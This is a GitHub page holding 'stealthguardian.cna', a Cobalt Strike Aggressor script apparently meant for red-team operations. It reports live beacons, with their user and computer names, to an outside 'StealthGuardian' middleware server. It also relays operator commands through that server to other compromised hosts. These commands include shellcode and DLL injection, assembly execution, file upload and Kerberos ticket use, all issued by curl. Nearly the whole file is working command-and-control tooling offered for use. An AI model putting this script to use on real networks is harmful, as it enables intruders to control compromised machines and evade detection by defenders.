-
Notifications
You must be signed in to change notification settings - Fork 3
/
Copy pathstealthguardian.cna
390 lines (326 loc) · 12.3 KB
/
stealthguardian.cna
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
# Initialize Variables
$middlewarehost = "https://yourstealthguardianserver";
$middlewareport = 45134;
# load config
on ready {
loadConfig();
reportExistingBeacons();
}
on load {
loadConfig();
reportExistingBeacons();
}
sub loadConfig {
$middlewarehost = pref_get("sgmiddleware.host","https://yourstealthguardianserver");
$middlewareport = pref_get("sgmiddleware.port","45134");
$apikey = pref_get("sgmiddleware.apikey");
$sslverify = pref_get("sgmiddleware.sslverify");
}
sub saveConfig {
pref_set("sgmiddleware.host", $middlewarehost);
pref_set("sgmiddleware.port", $middlewareport);
pref_set("sgmiddleware.apikey", $apikey);
pref_set("sgmiddleware.sslverify", $sslverify);
}
sub settingsCallback {
println("Dialog was actioned. Button: $2 Values: $3");
$middlewarehost = $3['host'];
$middlewareport = $3['port'];
$apikey = $3['apikey'];
$sslverify = $3['sslverify'];
# Enforce https:// if the user forgot to specify it
if(indexOf($3['host'], "https://") ne 0) {
$middlewarehost = "https://" . $3['host'];
}
# Verify configuration settings - only save and process if they look valid
if (isPositiveInteger($middlewareport) && isValidHostOrIP(substr($middlewarehost,8))) {
# Saving settings to config
saveConfig();
reportExistingBeacons();
} else {
println("Dialog was not saved due to incorrect settings.")
}
}
sub aboutCallback{
println("Opening about page");
}
# dialog definitions
popup stealthguardian {
item "Settings" {
$settings_dialog = dialog("StealthGuardian Settings", %(host => $middlewarehost, port => $middlewareport, apikey => $apikey, sslverify => $sslverify), &settingsCallback);
dialog_description($settings_dialog, "Adjust settings for StealthGuardian middleware");
drow_text($settings_dialog, "host", "Host: ");
drow_text($settings_dialog, "port", "Port: ");
drow_text($settings_dialog, "apikey", "API Key: ");
drow_checkbox($settings_dialog, "sslverify", "Disable SSL Verification: ");
dbutton_action($settings_dialog, "Save");
dialog_show($settings_dialog);
}
item "About" {
$about_dialog = dialog("About", %(), &aboutCallback);
dbutton_action($about_dialog, "Close");
url_open("https://github.com/y-security/stealthguardian");
}
}
menubar("StealthGuardian", "stealthguardian", 2);
# List and submit active beacons
sub reportBeacon {
$urlpath = "/api/beacons/add";
@commandArr = @("curl", "-X", "POST", $middlewarehost . ":" . $middlewareport . $urlpath, "-H", "Content-Type: application/json",
"-d", "{\"source\":\"cobaltstrike\",\"buid\":\"$1\",\"name\":\"$2\@$3\"}", "-H", "StealthGuardianAPIKey: $apikey"
);
if ($sslverify eq "true") {
push(@commandArr, "-k");
}
exec(@commandArr);
println("[+] Added Beacon to StealthGuardian Middleware! " . @_);
}
sub reportExistingBeacons{
foreach $session (beacons()) {
if ($session['alive']) {
$beaconid = $session["id"];
$beaconuser = $session["user"];
$beaconname = $session["computer"];
reportBeacon($beaconid, $beaconuser, $beaconname);
}
}
}
on beacon_initial {
$beaconid = $1;
foreach $entry (beacons()) {
if ($beaconid == $entry["id"]) {
reportBeacon($beaconid, $entry["user"], $entry["computer"]);
}
}
}
# helper functions
sub isPositiveInteger {
if($1 ismatch '^\d+$') {
return true;
}
return false;
}
# Function to check if a string is a valid hostname
sub isValidHostname {
if($1 ismatch '^(?!-)[A-Za-z0-9-]{1,63}(?<!-)$' && strlen($1) <= 253) {
return true;
}
return false;
}
# Function to check if a string is a valid IPv4 address
sub isValidIPv4 {
if($1 ismatch '^(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)$') {
return true;
}
return false;
}
# Function to check if a string is a valid IPv6 address
sub isValidIPv6 {
if($1 ismatch '^(([0-9a-fA-F]{1,4}:){7}([0-9a-fA-F]{1,4}|:)|(([0-9a-fA-F]{1,4}:){1,7}|:):(([0-9a-fA-F]{1,4}:){1,7}|:))$') {
return true;
}
return false;
}
# Function to validate if a string is either a valid hostname, IPv4, or IPv6 address
sub isValidHostOrIP {
if(isValidHostname($1) || isValidIPv4($1) || isValidIPv6($1)) {
return true;
} else {
return false;
}
}
sub testMiddlewareConnection {
if (!isPositiveInteger($middlewareport)) {
berror($1, "Invalid Port for StealthGuardian middleware. (".$middlewareport.")");
return false;
}
if (!isValidHostOrIP(substr($middlewarehost,8))) {
berror($1, "Invalid Host for StealthGuardian middleware.(".$middlewarehost.")");
return false;
}
$middlewareip = split(':\/\/', $middlewarehost)[1];
$proto = split(':\/\/', $middlewarehost)[0];
if ($proto eq "http") {
try {
$handle = connect($middlewareip, $middlewareport);
sleep(60);
$bytes_available = available($handle);
closef($handle);
if ($bytes_available > 0) {
return true;
} else {
return false;
}
}
catch $message {
return false;
}
} else {
return true;
}
}
sub validateBeaconId {
foreach $id (beacon_ids()) {
if ($id eq $1) {
return true;
}
}
return false;
}
sub stealthguardian {
$args = $1;
$beaconid = $args[0]; # current beacon
$targetBeacon = $args[1];
if (strlen($targetBeacon) < 1) {
berror($beaconid, "No Beacon specified!");
berror($beaconid, "Usage: stealthguardian <beacon> <command>");
return 1;
}
# Initialize an empty string to hold the concatenated arguments
local('$concatenated');
$concatenated = "";
# Loop starting from the second argument (index 1)
for ($i = 2; $i < size($args); $i++) {
# Access the argument
local('$arg');
$arg = $args[$i];
# Append the argument to the concatenated string with a space separator
if ($concatenated ne "") {
$concatenated .= " ";
}
$concatenated .= $arg;
}
$b64cmd = base64_encode($concatenated);
if (validateBeaconId($beaconid) == false) {
berror($beaconid, "Invalid Beacon specified!");
return;
}
if ($beaconid eq $targetBeacon) {
berror($beaconid, "Target Beacon can't be same as reference beacon!");
return;
}
if (testMiddlewareConnection() == false) {
berror($beaconid, "Couldn't connect to middleware!");
return;
}
if($args[2] eq "upload" || $args[2] eq "powershell-import" || $args[2] eq "kerberos_ccache_use" || $args[2] eq "kerberos_ticket_use" || $args[2] eq "inline-execute" ) {
# perform curl
$taskPath = "/api/tasks/add/withfile";
@commandArr = @("curl", "-X", "POST", $middlewarehost . ":" . $middlewareport . $taskPath,
"-F", "source=cobaltstrike", "-F", "sourceBeacon=" . $beaconid, "-F", "targetBeacon=" . $targetBeacon , "-F", "command=" . $b64cmd, "-F", "additionalcomandinfos=@".$args[3],
"-H", "StealthGuardianAPIKey: $apikey"
);
} else if($args[2] eq "dllinject" || $args[2] eq "shspawn") {
# perform curl
$taskPath = "/api/tasks/add/withfile";
@commandArr = @("curl", "-X", "POST", $middlewarehost . ":" . $middlewareport . $taskPath,
"-F", "source=cobaltstrike", "-F", "sourceBeacon=" . $beaconid, "-F", "targetBeacon=" . $targetBeacon , "-F", "command=" . $b64cmd, "-F", "additionalcomandinfos=@".$args[4],
"-H", "StealthGuardianAPIKey: $apikey"
);
} else if($args[2] eq "spunnel" || $args[2] eq "spunnel_local" || $args[2] eq "shinject" ) {
# perform curl
$taskPath = "/api/tasks/add/withfile";
@commandArr = @("curl", "-X", "POST", $middlewarehost . ":" . $middlewareport . $taskPath,
"-F", "source=cobaltstrike", "-F", "sourceBeacon=" . $beaconid, "-F", "targetBeacon=" . $targetBeacon , "-F", "command=" . $b64cmd, "-F", "additionalcomandinfos=@".$args[5],
"-H", "StealthGuardianAPIKey: $apikey"
);
} else if($args[2] eq "data-store") {
if($args[6] ne "") {
# perform curl
$taskPath = "/api/tasks/add/withfile";
@commandArr = @("curl", "-X", "POST", $middlewarehost . ":" . $middlewareport . $taskPath,
"-F", "source=cobaltstrike", "-F", "sourceBeacon=" . $beaconid, "-F", "targetBeacon=" . $targetBeacon , "-F", "command=" . $b64cmd, "-F", "additionalcomandinfos=@".$args[6],
"-H", "StealthGuardianAPIKey: $apikey"
);
} else {
# perform curl
$taskPath = "/api/tasks/add/withfile";
@commandArr = @("curl", "-X", "POST", $middlewarehost . ":" . $middlewareport . $taskPath,
"-F", "source=cobaltstrike", "-F", "sourceBeacon=" . $beaconid, "-F", "targetBeacon=" . $targetBeacon , "-F", "command=" . $b64cmd, "-F", "additionalcomandinfos=@".$args[5],
"-H", "StealthGuardianAPIKey: $apikey"
);
}
} else if($args[2] eq "execute-assembly") {
# We may have the "PATCHES" argument, if so we need to work differently
$taskPath = "/api/tasks/add/withfile";
$uploadfilepath = "";
if(indexOf($args[3], "PATCHES:") eq 0) {
$uploadfilepath = $args[4];
} else {
$uploadfilepath = $args[3];
}
@commandArr = @("curl", "-X", "POST", $middlewarehost . ":" . $middlewareport . $taskPath,
"-F", "source=cobaltstrike", "-F", "sourceBeacon=" . $beaconid, "-F", "targetBeacon=" . $targetBeacon , "-F", "command=" . $b64cmd, "-F", "additionalcomandinfos=@".$uploadfilepath,
"-H", "StealthGuardianAPIKey: $apikey"
);
} else {
# perform curl
$taskPath = "/api/tasks/add";
@commandArr = @("curl", "-X", "POST", $middlewarehost . ":" . $middlewareport . $taskPath, "-H", "Content-Type: application/json",
"-d", "{\"source\":\"cobaltstrike\",\"sourceBeacon\":\"" . $beaconid . "\",\"targetBeacon\":\"" . $targetBeacon . "\",\"command\":\"". $b64cmd . "\",\"additionalcomandinfos\":\"" . $data . "\"}",
"-H", "StealthGuardianAPIKey: $apikey"
);
}
if ($sslverify eq "true") {
push(@commandArr, "-k");
}
exec(@commandArr);
blog($beaconid, "Tasked reference beacon to run command!");
}
# Aliase
alias initiateLogCheck {
if (strlen($2) < 1) {
berror($1, "Please specify a beacon id!");
return;
}
if ($2 eq $1) {
berror($1, "Target Beacon can't be same as reference beacon!");
return;
}
if (validateBeaconId($2) == false) {
berror($1, "Invalid Beacon ID!");
return;
}
if (testMiddlewareConnection() == false) {
berror($1, "Couldn't connect to middleware!");
}
# perform curl
$checkPath = "/api/agenttask/add";
$command = "logcheck";
$targetBeacon = $2;
@commandArr = @("curl", "-X", "POST", $middlewarehost . ":" . $middlewareport . $checkPath, "-H", "Content-Type: application/json",
"-d", "{\"targetBeacon\":\"$targetBeacon\", \"command\":\"$command\"}", "-H", "StealthGuardianAPIKey: $apikey"
);
if ($sslverify eq "true") {
push(@commandArr, "-k");
}
exec(@commandArr);
}
alias testcon {
if (testMiddlewareConnection()) {
blog($1, "Connection to middleware successful!");
} else {
berror($1, "Error while connecting to middleware!");
}
}
alias stealthguardian {
stealthguardian(@_);
}
alias sg {
stealthguardian(@_);
}
alias printBeacon {
blog($1, "Beacon ID: ". $1);
}
alias listBeacons {
blog($1, "Listing all beacons:")
foreach $session (beacons()) {
if ($session['alive']) {
if($session['pbid'] != ''){
blog($1, "* $session['id'] ( $session['barch'] ) (link) $session['user'] @ $session['computer'] ( $session['process'] - $session['pid'] ) listener $session['listener'] \(via $session['pbid']\)");
}else{
blog($1, "* $session['id'] ( $session['barch'] ) $session['user'] @ $session['computer'] ( $session['process'] - $session['pid'] ) listener $session['listener']");
}
}
}
}